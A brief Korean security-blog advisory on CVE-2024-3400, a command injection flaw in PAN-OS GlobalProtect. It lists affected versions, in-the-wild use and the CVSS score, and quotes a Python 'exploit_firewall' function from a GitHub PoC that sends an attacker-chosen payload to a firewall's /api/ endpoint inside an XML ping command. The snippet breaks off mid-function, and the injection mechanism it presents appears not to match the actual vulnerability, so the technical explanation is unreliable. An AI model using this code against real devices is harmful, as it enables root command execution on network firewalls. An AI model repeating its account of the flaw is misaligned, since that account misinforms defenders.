[하루한줄] ITW CVE-2024-3400: Palo Alto Networks PAN-OS의 GlobalProtect 기능에서 발생한 Command Injection 취약점

URL

Target

  • < PAN-OS 11.1.2-h3
  • < PAN-OS 11.0.4-h1
  • < PAN-OS 10.2.9-h1

Explain

CVE-2024-3400은 Palo Alto Networks 사에서 판매하는 장비들에 탑재되어 있는 운영체제인 PAN-OS에서 발견된 Command Injection 취약점입니다. 해당 취약점은 현재 UTA0218 그룹에서 방화벽 공격에 실제 사용하고 있는 취약점으로 Exploit할 경우 root 권한으로 명령어를 실행할 수 있습니다.

def exploit_firewall(target_ip, payload, root_ca=None):
    url = f"https://{target_ip}/api/"

    data = f"""<?xml version="1.0" encoding="UTF-8"?>
    <request>
        <op cmd="test" />
        <cmd code="ping">{payload}</cmd>
    </request>"""

    headers = {
        "User-Agent": "PAN-OS-Exploit",
        "Content-Type": "application/xml"
    }

    try:
        if root_ca:
            response = requests.post(url, headers=headers, data=data, timeout=5, verify=root_ca)
        else:
            response = requests.post(url, headers=headers, data=data, timeout=5, verify=False)

깃헙에 공개된 POC를 확인해 보면 단순하게 POST 요청의 데이터에 xml 포맷으로 원하는 명령어를 입력하면 명령어를 실행할 수 있습니다. PAN-OS에서는 해당 페이로드를 처리하는 과정에서 명령어에 대한 필터링을 하지 않아 취약점이 발생한 것으로 보이며 해당 명령어는 root 권한으로 실행됩니다.

외부 네트워크에서 공격을 쉽게 수행할 수 있고, 공격 난이도가 낮으며 공격 성공 시 root 권한을 획득할 수 있는 등의 임팩트를 고려해 CVSS4.0 10을 받았습니다.

해당 취약점은 내일(2024년 4월 14일)에 패치가 공개될 예정입니다.

Reference